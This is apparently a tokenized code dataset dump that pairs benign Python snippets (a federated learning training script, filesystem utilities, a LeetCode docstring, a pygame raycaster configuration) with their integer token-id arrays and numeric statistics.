26745, 628, 220, 2488, 26745, 628, 220, 2488, 26745, 628, 220, 2488, 26745, 628, 220, 2488, 26745, 628, 220, 2488, 26745, 198 ]
2.464135
474
# Copyright 2019, The TensorFlow Federated Authors. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. """Trains and evaluates Stackoverflow LR model using TFF.""" import functools from absl import app from absl import flags from absl import logging import tensorflow as tf from tensorflow_federated.python.research.optimization.shared import fed_avg_schedule from tensorflow_federated.python.research.optimization.shared import iterative_process_builder from tensorflow_federated.python.research.optimization.stackoverflow_lr import dataset from tensorflow_federated.python.research.optimization.stackoverflow_lr import models from tensorflow_federated.python.research.utils import training_loop from tensorflow_federated.python.research.utils import training_utils from tensorflow_federated.python.research.utils import utils_impl with utils_impl.record_hparam_flags(): # Experiment hyperparameters flags.DEFINE_integer('vocab_tokens_size', 10000, 'Vocab tokens size used.') flags.DEFINE_integer('vocab_tags_size', 500, 'Vocab tags size used.') flags.DEFINE_integer('client_batch_size', 100, 'Batch size used on the client.') flags.DEFINE_integer('clients_per_round', 10, 'How many clients to sample per round.') flags.DEFINE_integer( 'client_epochs_per_round', 1, 'Number of client (inner optimizer) epochs per federated round.') flags.DEFINE_integer( 'num_validation_examples', 10000, 'Number of examples ' 'to use from test set for per-round validation.') flags.DEFINE_integer('max_elements_per_user', 1000, 'Max number of training ' 'sentences to use per user.') flags.DEFINE_integer( 'client_datasets_random_seed', 1, 'The random seed ' 'governing the client dataset selection.') FLAGS = flags.FLAGS def metrics_builder(): """Returns a `list` of `tf.keras.metric.Metric` objects.""" return [ tf.keras.metrics.Precision(name='precision'), tf.keras.metrics.Recall(top_k=5, name='recall_at_5'), ] if __name__ == '__main__': app.run(main)
[ 2, 15069, 13130, 11, 383, 309, 22854, 37535, 35089, 515, 46665, 13, 198, 2, 198, 2, 49962, 739, 262, 24843, 13789, 11, 10628, 362, 13, 15, 357, 1169, 366, 34156, 15341, 198, 2, 345, 743, 407, 779, 428, 2393, 2845, 287, 11846, 351, 262, 13789, 13, 198, 2, 921, 743, 7330, 257, 4866, 286, 262, 13789, 379, 198, 2, 198, 2, 220, 220, 220, 220, 220, 2638, 1378, 2503, 13, 43073, 13, 2398, 14, 677, 4541, 14, 43, 2149, 24290, 12, 17, 13, 15, 198, 2, 198, 2, 17486, 2672, 416, 9723, 1099, 393, 4987, 284, 287, 3597, 11, 3788, 198, 2, 9387, 739, 262, 13789, 318, 9387, 319, 281, 366, 1921, 3180, 1, 29809, 1797, 11, 198, 2, 42881, 34764, 11015, 6375, 7102, 49828, 11053, 3963, 15529, 509, 12115, 11, 2035, 4911, 393, 17142, 13, 198, 2, 4091, 262, 13789, 329, 262, 2176, 3303, 15030, 21627, 290, 198, 2, 11247, 739, 262, 13789, 13, 198, 37811, 2898, 1299, 290, 47850, 23881, 2502, 11125, 37491, 2746, 1262, 309, 5777, 526, 15931, 198, 198, 11748, 1257, 310, 10141, 198, 198, 6738, 2352, 75, 1330, 598, 198, 6738, 2352, 75, 1330, 9701, 198, 6738, 2352, 75, 1330, 18931, 198, 198, 11748, 11192, 273, 11125, 355, 48700, 198, 198, 6738, 11192, 273, 11125, 62, 69, 5702, 515, 13, 29412, 13, 34033, 13, 40085, 1634, 13, 28710, 1330, 11672, 62, 615, 70, 62, 15952, 5950, 198, 6738, 11192, 273, 11125, 62, 69, 5702, 515, 13, 29412, 13, 34033, 13, 40085, 1634, 13, 28710, 1330, 11629, 876, 62, 14681, 62, 38272, 198, 6738, 11192, 273, 11125, 62, 69, 5702, 515, 13, 29412, 13, 34033, 13, 40085, 1634, 13, 25558, 2502, 11125, 62, 14050, 1330, 27039, 198, 6738, 11192, 273, 11125, 62, 69, 5702, 515, 13, 29412, 13, 34033, 13, 40085, 1634, 13, 25558, 2502, 11125, 62, 14050, 1330, 4981, 198, 6738, 11192, 273, 11125, 62, 69, 5702, 515, 13, 29412, 13, 34033, 13, 26791, 1330, 3047, 62, 26268, 198, 6738, 11192, 273, 11125, 62, 69, 5702, 515, 13, 29412, 13, 34033, 13, 26791, 1330, 3047, 62, 26791, 198, 6738, 11192, 273, 11125, 62, 69, 5702, 515, 13, 29412, 13, 34033, 13, 26791, 1330, 3384, 4487, 62, 23928, 628, 198, 4480, 3384, 4487, 62, 23928, 13, 22105, 62, 71, 17143, 62, 33152, 33529, 198, 220, 1303, 29544, 8718, 17143, 7307, 198, 220, 9701, 13, 7206, 29940, 62, 41433, 10786, 18893, 397, 62, 83, 482, 641, 62, 7857, 3256, 33028, 11, 705, 53, 420, 397, 16326, 2546, 973, 2637, 8, 198, 220, 9701, 13, 7206, 29940, 62, 41433, 10786, 18893, 397, 62, 31499, 62, 7857, 3256, 5323, 11, 705, 53, 420, 397, 15940, 2546, 973, 2637, 8, 198, 220, 9701, 13, 7206, 29940, 62, 41433, 10786, 16366, 62, 43501, 62, 7857, 3256, 1802, 11, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 705, 33, 963, 2546, 973, 319, 262, 5456, 2637, 8, 198, 220, 9701, 13, 7206, 29940, 62, 41433, 10786, 565, 2334, 62, 525, 62, 744, 3256, 838, 11, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 705, 2437, 867, 7534, 284, 6291, 583, 2835, 2637, 8, 198, 220, 9701, 13, 7206, 29940, 62, 41433, 7, 198, 220, 220, 220, 220, 220, 705, 16366, 62, 538, 5374, 82, 62, 525, 62, 744, 3256, 352, 11, 198, 220, 220, 220, 220, 220, 705, 15057, 286, 5456, 357, 5083, 6436, 7509, 8, 36835, 82, 583, 28062, 515, 2835, 2637, 8, 198, 220, 9701, 13, 7206, 29940, 62, 41433, 7, 198, 220, 220, 220, 220, 220, 705, 22510, 62, 12102, 341, 62, 1069, 12629, 3256, 33028, 11, 705, 15057, 286, 6096, 705, 198, 220, 220, 220, 220, 220, 705, 1462, 779, 422, 1332, 900, 329, 583, 12, 744, 21201, 2637, 8, 198, 220, 9701, 13, 7206, 29940, 62, 41433, 10786, 9806, 62, 68, 3639, 62, 525, 62, 7220, 3256, 8576, 11, 705, 11518, 1271, 286, 3047, 705, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 705, 34086, 3007, 284, 779, 583, 2836, 2637, 8, 198, 220, 9701, 13, 7206, 29940, 62, 41433, 7, 198, 220, 220, 220, 220, 220, 705, 16366, 62, 19608, 292, 1039, 62, 25120, 62, 28826, 3256, 352, 11, 705, 464, 4738, 9403, 705, 198, 220, 220, 220, 220, 220, 705, 2188, 13974, 262, 5456, 27039, 6356, 2637, 8, 198, 198, 38948, 50, 796, 9701, 13, 38948, 50, 628, 198, 4299, 20731, 62, 38272, 33529, 198, 220, 37227, 35561, 257, 4600, 4868, 63, 286, 4600, 27110, 13, 6122, 292, 13, 4164, 1173, 13, 9171, 1173, 63, 5563, 526, 15931, 198, 220, 1441, 685, 198, 220, 220, 220, 220, 220, 48700, 13, 6122, 292, 13, 4164, 10466, 13, 6719, 16005, 7, 3672, 11639, 3866, 16005, 33809, 198, 220, 220, 220, 220, 220, 48700, 13, 6122, 292, 13, 4164, 10466, 13, 6690, 439, 7, 4852, 62, 74, 28, 20, 11, 1438, 11639, 8344, 439, 62, 265, 62, 20, 33809, 198, 220, 2361, 628, 198, 198, 361, 11593, 3672, 834, 6624, 705, 834, 12417, 834, 10354, 198, 220, 598, 13, 5143, 7, 12417, 8, 198 ]
2.977038
871
import argparse import matplotlib matplotlib.use("Agg") import matplotlib.pyplot as plt import numpy as np from rlo import experiment_result from rlo import plotting from rlo import utils if __name__ == "__main__": main()
[ 11748, 1822, 29572, 198, 11748, 2603, 29487, 8019, 198, 198, 6759, 29487, 8019, 13, 1904, 7203, 46384, 4943, 198, 11748, 2603, 29487, 8019, 13, 9078, 29487, 355, 458, 83, 198, 11748, 299, 32152, 355, 45941, 198, 198, 6738, 374, 5439, 1330, 6306, 62, 20274, 198, 6738, 374, 5439, 1330, 29353, 198, 6738, 374, 5439, 1330, 3384, 4487, 628, 628, 198, 198, 361, 11593, 3672, 834, 6624, 366, 834, 12417, 834, 1298, 198, 220, 220, 220, 1388, 3419, 198 ]
2.987179
78
import os from conans import ConanFile, CMake, RunEnvironment, tools import shutil
[ 11748, 28686, 198, 6738, 369, 504, 1330, 31634, 8979, 11, 327, 12050, 11, 5660, 31441, 11, 4899, 198, 11748, 4423, 346, 628 ]
3.818182
22
''' Given two integer arrays nums1 and nums2, return an array of their intersection. Each element in the result must appear as many times as it shows in both arrays and you may return the result in any order. Example 1: Input: nums1 = [1,2,2,1], nums2 = [2,2] Output: [2,2] Example 2: Input: nums1 = [4,9,5], nums2 = [9,4,9,8,4] Output: [4,9] Explanation: [9,4] is also accepted. Constraints: 1 <= nums1.length, nums2.length <= 1000 0 <= nums1[i], nums2[i] <= 1000 Follow up: What if the given array is already sorted? How would you optimize your algorithm? What if nums1's size is small compared to nums2's size? Which algorithm is better? What if elements of nums2 are stored on disk, and the memory is limited such that you cannot load all elements into the memory at once? '''
[ 7061, 6, 201, 198, 15056, 734, 18253, 26515, 997, 82, 16, 290, 997, 82, 17, 11, 1441, 281, 7177, 286, 511, 16246, 13, 5501, 5002, 287, 262, 1255, 1276, 1656, 355, 867, 1661, 355, 340, 2523, 287, 1111, 26515, 290, 345, 743, 1441, 262, 1255, 287, 597, 1502, 13, 201, 198, 201, 198, 16281, 352, 25, 201, 198, 201, 198, 20560, 25, 997, 82, 16, 796, 685, 16, 11, 17, 11, 17, 11, 16, 4357, 997, 82, 17, 796, 685, 17, 11, 17, 60, 201, 198, 26410, 25, 685, 17, 11, 17, 60, 201, 198, 16281, 362, 25, 201, 198, 201, 198, 20560, 25, 997, 82, 16, 796, 685, 19, 11, 24, 11, 20, 4357, 997, 82, 17, 796, 685, 24, 11, 19, 11, 24, 11, 23, 11, 19, 60, 201, 198, 26410, 25, 685, 19, 11, 24, 60, 201, 198, 3109, 11578, 341, 25, 685, 24, 11, 19, 60, 318, 635, 6292, 13, 201, 198, 220, 201, 198, 201, 198, 3103, 2536, 6003, 25, 201, 198, 201, 198, 16, 19841, 997, 82, 16, 13, 13664, 11, 997, 82, 17, 13, 13664, 19841, 8576, 201, 198, 15, 19841, 997, 82, 16, 58, 72, 4357, 997, 82, 17, 58, 72, 60, 19841, 8576, 201, 198, 220, 201, 198, 201, 198, 7155, 510, 25, 201, 198, 201, 198, 2061, 611, 262, 1813, 7177, 318, 1541, 23243, 30, 1374, 561, 345, 27183, 534, 11862, 30, 201, 198, 2061, 611, 997, 82, 16, 338, 2546, 318, 1402, 3688, 284, 997, 82, 17, 338, 2546, 30, 9022, 11862, 318, 1365, 30, 201, 198, 2061, 611, 4847, 286, 997, 82, 17, 389, 8574, 319, 11898, 11, 290, 262, 4088, 318, 3614, 884, 326, 345, 2314, 3440, 477, 4847, 656, 262, 4088, 379, 1752, 30, 201, 198, 7061, 6, 201, 198 ]
2.782313
294
# -*- coding: utf-8 -*- from pysbd.abbreviation_replacer import AbbreviationReplacer from pysbd.lang.common import Common, Standard
[ 2, 532, 9, 12, 19617, 25, 3384, 69, 12, 23, 532, 9, 12, 198, 6738, 279, 893, 17457, 13, 397, 4679, 47625, 62, 35666, 11736, 1330, 2275, 4679, 47625, 39232, 11736, 198, 6738, 279, 893, 17457, 13, 17204, 13, 11321, 1330, 8070, 11, 8997, 198 ]
2.933333
45
# -*- coding: utf-8 -*- from __future__ import with_statement, division from scarlett_os.compat import os from scarlett_os.compat import errno from scarlett_os.compat import environ from scarlett_os.compat import text_type from scarlett_os.compat import _FSCODING def format_size(size): """Turn an integer size value into something human-readable.""" # TODO: Better i18n of this (eg use O/KO/MO/GO in French) if size >= 1024 ** 3: return "%.1f GB" % (float(size) / (1024 ** 3)) elif size >= 1024 ** 2 * 100: return "%.0f MB" % (float(size) / (1024 ** 2)) elif size >= 1024 ** 2 * 10: return "%.1f MB" % (float(size) / (1024 ** 2)) elif size >= 1024 ** 2: return "%.2f MB" % (float(size) / (1024 ** 2)) elif size >= 1024 * 10: return "%d KB" % int(size / 1024) elif size >= 1024: return "%.2f KB" % (float(size) / 1024) else: return "%d B" % size def mkdir(dir_, *args): # noqa """Make a directory, including all its parent directories. This does not raise an exception if the directory already exists (and is a directory).""" try: os.makedirs(dir_, *args) except OSError as e: if e.errno != errno.EEXIST or not os.path.isdir(dir_): raise def iscommand(s): # noqa """True if an executable file `s` exists in the user's path, or is a fully qualified and existing executable file.""" if s == "" or os.path.sep in s: return os.path.isfile(s) and os.access(s, os.X_OK) else: s = s.split()[0] path = environ.get("PATH", "") or os.defpath for p in path.split(os.path.pathsep): p2 = os.path.join(p, s) if os.path.isfile(p2) and os.access(p2, os.X_OK): return True else: return False def is_fsnative(path): """Check if file system native""" return isinstance(path, bytes) def fsnative(path=u""): """File system native""" assert isinstance(path, text_type) return path.encode(_FSCODING, "replace") def listdir(path, hidden=False): """List files in a directory, sorted, fully-qualified. If hidden is false, Unix-style hidden files are not returned. """ assert is_fsnative(path) if hidden: filt = None else: filt = lambda base: not base.startswith(".") # noqa if path.endswith(os.sep): join = "".join else: join = os.sep.join return [ join([path, basename]) for basename in sorted(os.listdir(path)) if filt(basename) ] def mtime(filename): """Return the mtime of a file, or 0 if an error occurs.""" try: return os.path.getmtime(filename) except OSError: return 0 def filesize(filename): """Return the size of a file, or 0 if an error occurs.""" try: return os.path.getsize(filename) except OSError: return 0 def expanduser(filename): # noqa """convience function to have expanduser return wide character paths """ return os.path.expanduser(filename) def unexpand(filename, HOME=expanduser("~")): """Replace the user's home directory with ~/, if it appears at the start of the path name.""" sub = (os.name == "nt" and "%USERPROFILE%") or "~" if filename == HOME: return sub elif filename.startswith(HOME + os.path.sep): filename = filename.replace(HOME, sub, 1) return filename def get_home_dir(): """Returns the root directory of the user, /home/user""" return expanduser("~")
[ 2, 532, 9, 12, 19617, 25, 3384, 69, 12, 23, 532, 9, 12, 198, 198, 6738, 11593, 37443, 834, 1330, 351, 62, 26090, 11, 7297, 198, 198, 6738, 10153, 15503, 62, 418, 13, 5589, 265, 1330, 28686, 198, 6738, 10153, 15503, 62, 418, 13, 5589, 265, 1330, 11454, 3919, 198, 6738, 10153, 15503, 62, 418, 13, 5589, 265, 1330, 551, 2268, 198, 6738, 10153, 15503, 62, 418, 13, 5589, 265, 1330, 2420, 62, 4906, 198, 6738, 10153, 15503, 62, 418, 13, 5589, 265, 1330, 4808, 37, 6173, 3727, 2751, 628, 198, 4299, 5794, 62, 7857, 7, 7857, 2599, 198, 220, 220, 220, 37227, 17278, 281, 18253, 2546, 1988, 656, 1223, 1692, 12, 46155, 526, 15931, 198, 220, 220, 220, 1303, 16926, 46, 25, 11625, 1312, 1507, 77, 286, 428, 357, 1533, 779, 440, 14, 22328, 14, 11770, 14, 11230, 287, 4141, 8, 198, 220, 220, 220, 611, 2546, 18189, 28119, 12429, 513, 25, 198, 220, 220, 220, 220, 220, 220, 220, 1441, 366, 7225, 16, 69, 13124, 1, 4064, 357, 22468, 7, 7857, 8, 1220, 357, 35500, 12429, 513, 4008, 198, 220, 220, 220, 1288, 361, 2546, 18189, 28119, 12429, 362, 1635, 1802, 25, 198, 220, 220, 220, 220, 220, 220, 220, 1441, 366, 7225, 15, 69, 10771, 1, 4064, 357, 22468, 7, 7857, 8, 1220, 357, 35500, 12429, 362, 4008, 198, 220, 220, 220, 1288, 361, 2546, 18189, 28119, 12429, 362, 1635, 838, 25, 198, 220, 220, 220, 220, 220, 220, 220, 1441, 366, 7225, 16, 69, 10771, 1, 4064, 357, 22468, 7, 7857, 8, 1220, 357, 35500, 12429, 362, 4008, 198, 220, 220, 220, 1288, 361, 2546, 18189, 28119, 12429, 362, 25, 198, 220, 220, 220, 220, 220, 220, 220, 1441, 366, 7225, 17, 69, 10771, 1, 4064, 357, 22468, 7, 7857, 8, 1220, 357, 35500, 12429, 362, 4008, 198, 220, 220, 220, 1288, 361, 2546, 18189, 28119, 1635, 838, 25, 198, 220, 220, 220, 220, 220, 220, 220, 1441, 36521, 67, 14204, 1, 4064, 493, 7, 7857, 1220, 28119, 8, 198, 220, 220, 220, 1288, 361, 2546, 18189, 28119, 25, 198, 220, 220, 220, 220, 220, 220, 220, 1441, 366, 7225, 17, 69, 14204, 1, 4064, 357, 22468, 7, 7857, 8, 1220, 28119, 8, 198, 220, 220, 220, 2073, 25, 198, 220, 220, 220, 220, 220, 220, 220, 1441, 36521, 67, 347, 1, 4064, 2546, 628, 198, 4299, 33480, 15908, 7, 15908, 62, 11, 1635, 22046, 2599, 220, 1303, 645, 20402, 198, 220, 220, 220, 37227, 12050, 257, 8619, 11, 1390, 477, 663, 2560, 29196, 13, 770, 857, 407, 198, 220, 220, 220, 5298, 281, 6631, 611, 262, 8619, 1541, 7160, 357, 392, 318, 257, 198, 220, 220, 220, 8619, 21387, 15931, 628, 220, 220, 220, 1949, 25, 198, 220, 220, 220, 220, 220, 220, 220, 28686, 13, 76, 4335, 17062, 7, 15908, 62, 11, 1635, 22046, 8, 198, 220, 220, 220, 2845, 440, 5188, 81, 1472, 355, 304, 25, 198, 220, 220, 220, 220, 220, 220, 220, 611, 304, 13, 8056, 3919, 14512, 11454, 3919, 13, 36, 6369, 8808, 393, 407, 28686, 13, 6978, 13, 9409, 343, 7, 15908, 62, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 5298, 628, 198, 4299, 318, 21812, 7, 82, 2599, 220, 1303, 645, 20402, 198, 220, 220, 220, 37227, 17821, 611, 281, 28883, 2393, 4600, 82, 63, 7160, 287, 262, 2836, 338, 3108, 11, 393, 318, 257, 198, 220, 220, 220, 3938, 10617, 290, 4683, 28883, 2393, 526, 15931, 628, 220, 220, 220, 611, 264, 6624, 13538, 393, 28686, 13, 6978, 13, 325, 79, 287, 264, 25, 198, 220, 220, 220, 220, 220, 220, 220, 1441, 28686, 13, 6978, 13, 4468, 576, 7, 82, 8, 290, 28686, 13, 15526, 7, 82, 11, 28686, 13, 55, 62, 11380, 8, 198, 220, 220, 220, 2073, 25, 198, 220, 220, 220, 220, 220, 220, 220, 264, 796, 264, 13, 35312, 3419, 58, 15, 60, 198, 220, 220, 220, 220, 220, 220, 220, 3108, 796, 551, 2268, 13, 1136, 7203, 34219, 1600, 366, 4943, 393, 28686, 13, 4299, 6978, 198, 220, 220, 220, 220, 220, 220, 220, 329, 279, 287, 3108, 13, 35312, 7, 418, 13, 6978, 13, 6978, 325, 79, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 279, 17, 796, 28686, 13, 6978, 13, 22179, 7, 79, 11, 264, 8, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 611, 28686, 13, 6978, 13, 4468, 576, 7, 79, 17, 8, 290, 28686, 13, 15526, 7, 79, 17, 11, 28686, 13, 55, 62, 11380, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1441, 6407, 198, 220, 220, 220, 220, 220, 220, 220, 2073, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1441, 10352, 628, 198, 4299, 318, 62, 9501, 30191, 7, 6978, 2599, 198, 220, 220, 220, 37227, 9787, 611, 2393, 1080, 6868, 37811, 198, 220, 220, 220, 1441, 318, 39098, 7, 6978, 11, 9881, 8, 628, 198, 4299, 277, 16184, 876, 7, 6978, 28, 84, 15931, 2599, 198, 220, 220, 220, 37227, 8979, 1080, 6868, 37811, 198, 220, 220, 220, 6818, 318, 39098, 7, 6978, 11, 2420, 62, 4906, 8, 198, 220, 220, 220, 1441, 3108, 13, 268, 8189, 28264, 37, 6173, 3727, 2751, 11, 366, 33491, 4943, 628, 198, 4299, 1351, 15908, 7, 6978, 11, 7104, 28, 25101, 2599, 198, 220, 220, 220, 37227, 8053, 3696, 287, 257, 8619, 11, 23243, 11, 3938, 12, 22557, 13, 628, 220, 220, 220, 1002, 7104, 318, 3991, 11, 33501, 12, 7635, 7104, 3696, 389, 407, 4504, 13, 198, 220, 220, 220, 37227, 628, 220, 220, 220, 6818, 318, 62, 9501, 30191, 7, 6978, 8, 628, 220, 220, 220, 611, 7104, 25, 198, 220, 220, 220, 220, 220, 220, 220, 1226, 83, 796, 6045, 198, 220, 220, 220, 2073, 25, 198, 220, 220, 220, 220, 220, 220, 220, 1226, 83, 796, 37456, 2779, 25, 407, 2779, 13, 9688, 2032, 342, 7203, 19570, 220, 1303, 645, 20402, 198, 220, 220, 220, 611, 3108, 13, 437, 2032, 342, 7, 418, 13, 325, 79, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 4654, 796, 366, 1911, 22179, 198, 220, 220, 220, 2073, 25, 198, 220, 220, 220, 220, 220, 220, 220, 4654, 796, 28686, 13, 325, 79, 13, 22179, 198, 220, 220, 220, 1441, 685, 198, 220, 220, 220, 220, 220, 220, 220, 4654, 26933, 6978, 11, 1615, 12453, 12962, 198, 220, 220, 220, 220, 220, 220, 220, 329, 1615, 12453, 287, 23243, 7, 418, 13, 4868, 15908, 7, 6978, 4008, 198, 220, 220, 220, 220, 220, 220, 220, 611, 1226, 83, 7, 12093, 12453, 8, 198, 220, 220, 220, 2361, 628, 198, 4299, 285, 2435, 7, 34345, 2599, 198, 220, 220, 220, 37227, 13615, 262, 285, 2435, 286, 257, 2393, 11, 393, 657, 611, 281, 4049, 8833, 526, 15931, 198, 220, 220, 220, 1949, 25, 198, 220, 220, 220, 220, 220, 220, 220, 1441, 28686, 13, 6978, 13, 1136, 76, 2435, 7, 34345, 8, 198, 220, 220, 220, 2845, 440, 5188, 81, 1472, 25, 198, 220, 220, 220, 220, 220, 220, 220, 1441, 657, 628, 198, 4299, 3696, 1096, 7, 34345, 2599, 198, 220, 220, 220, 37227, 13615, 262, 2546, 286, 257, 2393, 11, 393, 657, 611, 281, 4049, 8833, 526, 15931, 198, 220, 220, 220, 1949, 25, 198, 220, 220, 220, 220, 220, 220, 220, 1441, 28686, 13, 6978, 13, 11407, 1096, 7, 34345, 8, 198, 220, 220, 220, 2845, 440, 5188, 81, 1472, 25, 198, 220, 220, 220, 220, 220, 220, 220, 1441, 657, 628, 198, 4299, 4292, 7220, 7, 34345, 2599, 220, 1303, 645, 20402, 198, 220, 220, 220, 37227, 42946, 1240, 2163, 284, 423, 4292, 7220, 1441, 3094, 2095, 13532, 198, 220, 220, 220, 37227, 198, 220, 220, 220, 1441, 28686, 13, 6978, 13, 11201, 392, 7220, 7, 34345, 8, 628, 198, 4299, 8522, 79, 392, 7, 34345, 11, 41779, 28, 11201, 392, 7220, 7203, 93, 4943, 2599, 198, 220, 220, 220, 37227, 3041, 5372, 262, 2836, 338, 1363, 8619, 351, 5299, 47454, 611, 340, 3568, 379, 262, 198, 220, 220, 220, 923, 286, 262, 3108, 1438, 526, 15931, 198, 220, 220, 220, 850, 796, 357, 418, 13, 3672, 6624, 366, 429, 1, 290, 36521, 29904, 31190, 25664, 4, 4943, 393, 366, 93, 1, 198, 220, 220, 220, 611, 29472, 6624, 41779, 25, 198, 220, 220, 220, 220, 220, 220, 220, 1441, 850, 198, 220, 220, 220, 1288, 361, 29472, 13, 9688, 2032, 342, 7, 39069, 1343, 28686, 13, 6978, 13, 325, 79, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 29472, 796, 29472, 13, 33491, 7, 39069, 11, 850, 11, 352, 8, 198, 220, 220, 220, 1441, 29472, 628, 198, 4299, 651, 62, 11195, 62, 15908, 33529, 198, 220, 220, 220, 37227, 35561, 262, 6808, 8619, 286, 262, 2836, 11, 1220, 11195, 14, 7220, 37811, 198, 220, 220, 220, 1441, 4292, 7220, 7203, 93, 4943, 198 ]
2.411051
1,484
import math import numpy import pygame CONFIG = { "START_POS": (400, 400), "PLAYER_COLOUR": (0, 0, 255), "PLAYER_RADIUS": 10, "FOV": (math.pi / 2), "RESOLUTION": 0.25, "ROTATE_SPEED": (math.pi / 360), "MOVE_SPEED": 0.5, "VIEW_DIST": 300 } WIDTH = 800 KEYS = { 1073741904: False, # left 1073741903: False, # right 119: False, # w 97: False, # a 115: False, # s 100: False # d } KEY_OPP = { 1073741904: [1073741903], 1073741903: [1073741904], 119: [115], 97: [100], 115: [119], 100: [97] } if __name__ == "__main__": main()
[ 11748, 10688, 201, 198, 11748, 299, 32152, 201, 198, 11748, 12972, 6057, 201, 198, 201, 198, 10943, 16254, 796, 1391, 201, 198, 220, 220, 220, 366, 2257, 7227, 62, 37997, 1298, 357, 7029, 11, 7337, 828, 201, 198, 220, 220, 220, 366, 31519, 1137, 62, 25154, 11698, 1298, 357, 15, 11, 657, 11, 14280, 828, 201, 198, 220, 220, 220, 366, 31519, 1137, 62, 49, 2885, 40, 2937, 1298, 838, 11, 201, 198, 220, 220, 220, 366, 6080, 53, 1298, 357, 11018, 13, 14415, 1220, 362, 828, 201, 198, 220, 220, 220, 366, 19535, 3535, 35354, 1298, 657, 13, 1495, 11, 201, 198, 220, 220, 220, 366, 49, 2394, 6158, 62, 4303, 41841, 1298, 357, 11018, 13, 14415, 1220, 11470, 828, 201, 198, 220, 220, 220, 366, 11770, 6089, 62, 4303, 41841, 1298, 657, 13, 20, 11, 201, 198, 220, 220, 220, 366, 28206, 62, 35, 8808, 1298, 5867, 201, 198, 92, 201, 198, 201, 198, 54, 2389, 4221, 796, 10460, 201, 198, 201, 198, 7336, 16309, 796, 1391, 201, 198, 220, 220, 220, 16226, 31020, 1129, 3023, 25, 10352, 11, 1303, 1364, 201, 198, 220, 220, 220, 16226, 31020, 1129, 3070, 25, 10352, 11, 1303, 826, 201, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 15136, 25, 10352, 11, 1303, 266, 201, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 10111, 25, 10352, 11, 1303, 257, 201, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 12279, 25, 10352, 11, 1303, 264, 201, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1802, 25, 10352, 220, 1303, 288, 201, 198, 92, 201, 198, 201, 198, 20373, 62, 3185, 47, 796, 1391, 201, 198, 220, 220, 220, 16226, 31020, 1129, 3023, 25, 685, 15982, 31020, 1129, 3070, 4357, 201, 198, 220, 220, 220, 16226, 31020, 1129, 3070, 25, 685, 15982, 31020, 1129, 3023, 4357, 201, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 15136, 25, 685, 15363, 4357, 201, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 10111, 25, 685, 3064, 4357, 201, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 12279, 25, 685, 16315, 4357, 201, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1802, 25, 685, 5607, 60, 201, 198, 92, 201, 198, 201, 198, 201, 198, 201, 198, 201, 198, 361, 11593, 3672, 834, 6624, 366, 834, 12417, 834, 1298, 201, 198, 220, 220, 220, 1388, 3419, 201, 198 ]
1.713942
416